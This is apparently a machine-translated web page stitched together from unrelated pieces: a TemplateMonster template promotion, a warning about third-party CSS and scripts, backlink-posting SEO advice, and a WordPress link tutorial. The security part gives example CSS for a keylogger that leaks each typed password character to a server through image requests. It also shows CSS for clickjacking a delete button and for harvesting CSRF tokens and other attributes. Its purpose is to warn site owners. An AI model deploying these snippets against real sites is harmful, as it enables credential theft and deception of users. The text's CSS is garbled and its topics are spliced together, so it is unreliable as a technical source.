Third party resources. Doorway. Create beautiful designs with templates
Any website owner wants to have a beautiful design! So, the question arises, how to get a high-quality design for a web resource, while quickly and at an affordable price?
Website design development with the involvement of third-party resources
What third party resources ? It will not be news to anyone that to create a website, if you yourself do not know where to start, you need a developer and designer. When attracting these masters to work, you should be prepared for the fact that everything will not work out quickly.
Each specialist has his own vision and each in his own way understands what is “right”. So be prepared to defend your opinion. All such disputes and alterations take a lot of time, effort and money, since the services of developers and designers are not cheap.
Considering the above, this begs the question: “Why involve third-party resources to create a website?”. Oddly enough, there are certain advantages. Firstly, such cooperation allows you to create not only a beautiful design for the site, but also completely unique. Secondly, you can implement such a layout for your web resource that you have always dreamed of, even the most complex and filled with all sorts of sections and menus of varying complexity.
Create beautiful designs with templates
Templates- this is a ready-made design that you can use to create a website. If you want to create a website to work on a specific CMS, then you can choose a template that is designed specifically for this platform.
What are the benefits of using templates? After looking at the screenshots above, or rather the price of the proposed layouts from the company TemplateMonster, we can definitely say that the pricing policy for templates is very loyal.
For little money, you get not only a beautiful design, but also modern functionality. In addition, all templates are customizable, so even if something does not suit you in the design of the layout, you can change or delete it. Thanks to the intuitive interface of the admin panel, you can easily figure out the available settings, without involving outside help, which will significantly save time and budget.
Most of the templates are responsive, which makes it possible to create a functional site that can work on any type of device. Another characteristic that clearly needs to be considered when choosing the right template is versatility!
Command TemplateMonster has developed a certain type of templates that can be used for sites in different directions, for example, an online store or blog, as well as for resources on various topics (construction, furniture store, etc.).
And finally, the most important advantage of working with ready-made layouts TemplateMonster is that by purchasing a theme, you get access to free service technical support 24/7. Therefore, if you have any questions related to how to install or customize the purchased theme, you can get expert help!
Beautiful website designs are already the first step to success! When users open a site, they first visually evaluate the resource, and then they see what information is on it. Therefore, if you want to have a large number of customers, readers or buyers, it is important to be able to attract their attention at first sight so that they do not leave your site forever. But how to do it? That's right, use a beautiful design for your resource that can interest and arouse the interest of users.
When deciding how to create a site (create from scratch or use a template), it is important to determine the main tasks for the resource, which will allow you to choose the most suitable method. Of course, you can start developing a web page yourself, especially since you know best what you need! But, in this case, a certain level of skills and knowledge will be required.
If all this is not there, but you really want to do the design for the site yourself, opt for templates TemplateMonster... There is no need for great skills and everything is clear even for a novice user!
Here's how you can harm your site using third-party CSS, JavaScript, and other resources from third-party servers.
At the end of February, a keylogger appeared on the network, partially using CSS. The attack using it is simple: for each character entered in a field with a specific type (for example, password), a request is generated to a third-party server, allegedly requesting a background image:
input (background-image: url ("http: // localhost: 3000 / a");)
background - image: url ("http: // localhost: 3000 / a"); |
The sequence of requests can be registered on the server and the entered password can be easily calculated.
In the process of discussing the problem, some suggested to the browser manufacturers to fix it. Someone noticed that the problem is relevant only for sites based on React-like frameworks, and shifted the blame to them.
Third-party pictures
< img src = "https://example.com/kitten.jpg"> |
If you add this kind of image to your site, you will be dependent on example.com. They can set you up different ways for example, delete a picture - you will get a 404 instead of an image. Or they can simply replace the image of a cat with something less pleasant.
You can warn your users that the image was added from a third-party resource and you have nothing to do with it. So you will protect yourself a little from trouble. But, of course, when you add a simple picture, you do not provide access to passwords.
Third party scripts
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This example is much more interesting for example.com, because by adding a script from their site you give them a lot more control over theirs. In this case example.com can:
- Read / change the content of the page.
- Track every user action.
- Run code that is difficult to compute (for example, a cryptominer).
- Request cookies.
- Read / modify local storage.
In other words, now example.com can do a lot.
Interacting with local storage will bring even more challenges in the future. A third-party resource will have access to your site even after the script is removed from the page. If you add a third party script to your site, you must absolutely trust the source and its security.
If you still run into a bad script, try using the Clear-Site-Data header.
Third party CSS
< link rel = "stylesheet" href = "https://example.com/style.css"> |
Third-party CSS-code for the impact on the site is located between the picture and the script. Someone else's CSS can:
- Remove / change / add content on the page.
- Make requests based on the content of the page.
- React to many user actions.
CSS will not be able to interact with the local storage and the cryptominer will not embed it on the page, but it can do a lot of harm to the resource owner.
Keylogger
Modifying the CSS a bit from the beginning of the article:
input (background-image: url ("/ password? a");)
input [type = "password"] [value $ = "a"] ( background - image: url ("/ password? a"); |
This code will send data about the entered character "a" to the handler under the guise of a picture request. Repeat the code for each symbol and you already have a CSS keylogger.
By default, browsers do not store user-entered characters in the value attribute, so this trick will work when using something that synchronizes such values, such as.
Of course, this problem can be solved on the side of React and similar frameworks. But then only a specific case will be solved, and the rest of the problems will remain.
Disappearing content
body (display: none;) html :: after (content: "HTTP Server Server Error";)
body ( display: none; html :: after ( content: "HTTP Server Server Error"; |
This is, of course, a very peculiar example, but still a working one. Imagine if your users, when they visit the site, will see instead of the usual home page incomprehensible error. In the same way, third-party code can remove, for example, the "buy" button or make some other nuisance.
Adding content
Price-value :: before (content: "1";)
Price - value :: before ( content: "1"; |
And just like that, your prices skyrocketed.
Moving content
Delete-everything-button (opacity: 0; position: absolute; top: 500px; left: 300px;)
Delete - everything - button ( opacity: 0; position: absolute; top: 500px; left: 300px; |
Take a button that does something terrible and that the user won't just click, make it transparent and place it where the user will click.
Of course, if the button does something really important, the user will see a warning dialog first. But that's not a problem either: you just need more CSS. For example, you can change the content of the button "Oh my God, no!", To "Of course, I'm sure."
Imagine the browser makers tweak the keylogger trick. Attackers simply place an extra text field on top of an important password field and they are back to work.
Reading Attributes
Passwords are not necessarily stored in value and other attributes: an attacker may find something else interesting.
< input type = "hidden" name = "csrf" value = "1687594325" >
< img src = "/avatars/samanthasmith83.jpg">
< iframe src = "// cool-maps-service / show? st-pancras-london"> < / iframe >
< img src = "/gender-icons/female.png" >
< div class = "banner users - birthday - today »> < / div >
All this data can be collected by CSS selectors and sent where it should be.
The PR law says: "The more people find out about you, the more customers will use the service!" The same goal is laid in the publication of their articles on a third-party resource. Each third party site is:
- New audience and, as a result, potential customers;
- An influx of traffic exceeding the number of your visitors several times;
- Natural link to your site;
- Possible distribution of your articles (if interesting) in the social. networks.
List of sites for free publication with a backlink
Forums with a special section (webmasters.ru, maultalk.com)
What to look for when choosing a third-party site
Filters. A site that provides the possibility of free placement can be under the AGS. By posting links to your site in it, you risk losing your ranking or, even worse, falling under the "Minusinsk". RDS bar to help.
TIC. Similarly to the first option, the selected site can be under "Minusinsk", moreover, links from sites with 0 TIC are more like "custom" ones.
Posting options for articles and their features
You can post articles on third-party sites in 2 ways:
- Full copying;
- Announcement.
Let's talk about the effectiveness of each method in more detail.
Posting an article on a third-party site by full copying with a link to the source
Quite a popular way to share information. The list of sites published just above allows you to post full articles. There is even a special field for linking to the source. Interesting articles are quickly gaining popularity, discussed and liked. Everything would be fine, but there is also a second side to the coin.
- By posting a full article on a third-party site, you cut off the flow of targeted traffic to your resource. After all, why go somewhere when you can read the article on a third-party resource?
- Struggle for supremacy in the issue. Surely the resources where you post your articles, even indexed ones, are ahead of your site in terms of ranking (Traffic, Titles, Trust). There are many cases on the Internet when a page with a duplicate is ranked higher than the original.
- Uniqueness. Useful materials and without your help are copied. By publishing a full article, you only increase the number of pages, decreasing the uniqueness of your text. As a result, the page may sink in promoted requests.
- Update problems. In practice, I came across projects in which, in the course of changing the URL (addresses) of the pages, I had to completely rewrite the content. The reason for this is third-party sites with hosted materials.
Placement of article announcements with a link to the resource
This option provides for publishing on a third-party site not the entire article, but a short announcement with a picture. Moreover, one cannot get rid of the title here. After all, we need to interest the audience enough to get a transition to our resource. The main challenge is to make it as interesting as possible. And not just copy the first paragraph, but make it unique.
For social networks - the optimal size of the announcement is 300 characters. An announcement can be written once and published on all sites.
As for the portals, there should be a bigger announcement in the region of 1000 characters. The audience of such portals is accustomed to first assessing the "usefulness", and then only to make transitions.
When talking about portals, it is necessary to take into account the requirements for publications. Where the uniqueness of the article is a must, write unique announcements. Where uniqueness is not important, publish the ones already written.
As a result, we get:
- User interest in your posts.
- Traffic flow.
- Increase in the link mass.
- Keeping your content unique.
By the way, the announcement will serve as an excellent incentive to write interesting materials, and not just litter the Internet with articles.
Software feature
Simplify the work with the publication of announcements in the social. networks can be done using Open Graph markup. It allows you to register an article announcement. As a result, with a regular repost, the title, announcement and picture of the published link will be automatically inserted. You can check the visual display of the open graph markup
The easiest way to add links to third-party resources and links between blog pages and posts in WordPress is by using the editor's built-in Insert / Edit Link tool. It is a little more difficult to insert links to a specific paragraph, paragraph, line within pages and records, generated manually in the HTML code.
Links to third-party resources
1. Open in the browser a page of a third-party site to which we want to insert a link, and copy the URL from the address bar to the clipboard.
2. Go to the window for editing your post or page, select the text of the future link or put the cursor in the place where the link should be, click on the toolbar text editor a button with a hint "Insert / edit link". In previous WordPress versions the main window with the name "Insert / Change Link" was immediately opened. If I'm not mistaken, since version 4.5 it began to open in a minimized form with a field for inserting an address and two buttons: "Apply" and "Link Settings" - this button expands the "Insert / Edit Link" window.
3. In the opened window for adding a link, paste the address from the clipboard and click on the "Apply" button (and if the link text was not previously selected, click the adjacent "Link Settings" button, as in paragraph 5, to add the link text):
Since in the example the link text was selected in advance, the link is ready:
Link to a third-party resource: Cheap flights.
4. To change the URL, add or edit the displayed text, the method of opening (in the current or new window), select the link and press the "Change" button in the window that appears:
5. The already familiar window with the URL adding field will open, in which we press the "Link settings" button to get the expanded window:
6. The main window "Insert / Edit Link" will open: 
In this window, you can check the box next to the "Open in a new tab" item, replace the URL, if necessary, add or change the link text. Since you can insert a link without selecting the text in advance, but by adding it to the "Link text" field of the "Insert / edit link" window, the link will be added to the place where the cursor was originally located. Click the "Update" button.
Links between pages and blog posts
To insert a link to a page or post of your blog, select the link text or place the cursor in the place where the link should be added. Click the button on the "Insert / Edit Link" toolbar. In the window that opens, click the "Link Settings" button, after that the main "Insert / Change Link" window will open:
From the list in the lower half of the window, select a page or record, click on it, the URL is inserted automatically, the link text, if not selected in advance, can be manually entered into the appropriate window or pasted from the clipboard, having previously copied the name of the page or record directly in the list. If necessary, tick the box "Open in a new tab" and, of course, press the button "Add link". Link to your blog page added:
Link to your blog page:.
Links within pages and posts
In order to refer to a specific place on a page or post, this place needs to be marked somehow. To do this, a bookmark is inserted next to it, or, as it is also called, an anchor. By the way, on the "Visual" tab, this tab will be marked with an anchor figure. As an example, consider inserting links into the table of contents of this article and inserting bookmarks (anchors) into the titles of the corresponding sections to jump to them from the table of contents.
Bookmarks are inserted in the HTML editor (on the "Text" tab) and represent the following structure:
Instead of link1, insert the name of the bookmark.
Instead of link1, we insert the name of the bookmark to which you need to follow the link, the # (hash, hash) symbol means that it is followed by id. The # without id in a link denotes the start of the page and is used to return to the beginning (up).
Now everything is in order:
1. Come up with a name for the bookmark and go to the HTML editor by selecting the "Text" tab.
2. Insert the bookmark in the desired place in the article. I have inserted anchors next to the section headers:
If you put text between the opening and closing tags a, it will be colored as a link.
3. Insert links to bookmarks in the items of the table of contents:
4. Now you can test, including the "Up" link:
5. The full link to the bookmark looks like this: Page URL / # link1. It does not need to be compiled manually, it is enough to follow the link to the bookmark and copy the full URL to address bar... You can use this address to go to a bookmark from other sites.